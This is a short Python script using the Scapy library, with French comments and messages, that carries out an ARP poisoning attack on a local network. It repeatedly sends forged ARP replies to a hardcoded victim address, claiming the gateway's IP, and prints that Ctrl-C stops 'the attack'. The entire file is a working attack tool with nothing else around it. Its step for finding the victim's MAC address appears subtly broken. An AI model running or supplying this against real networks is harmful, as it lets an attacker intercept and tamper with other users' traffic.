#!/usr/bin/env python

from scapy.all import *

# example:
ip="192.168.2.104"
ip_gateway="192.168.2.254"

def arp_poison(ip,ip_gateway):
    matrame = Ether()/ARP(pdst=ip)
    srp(matrame,timeout=2,verbose=0)
    victime_arp = matrame[Ether].dst
    packet=Ether(dst=victime_arp)/ARP(op="is-at", psrc=ip_gateway)
    print("Ctrl-C pour arrêter l'attaque !")
    sendp(packet,inter=2, loop=1)

try:
    arp_poison(ip,ip_gateway)
except PermissionError:
    print("Ce script nécessite les droits root")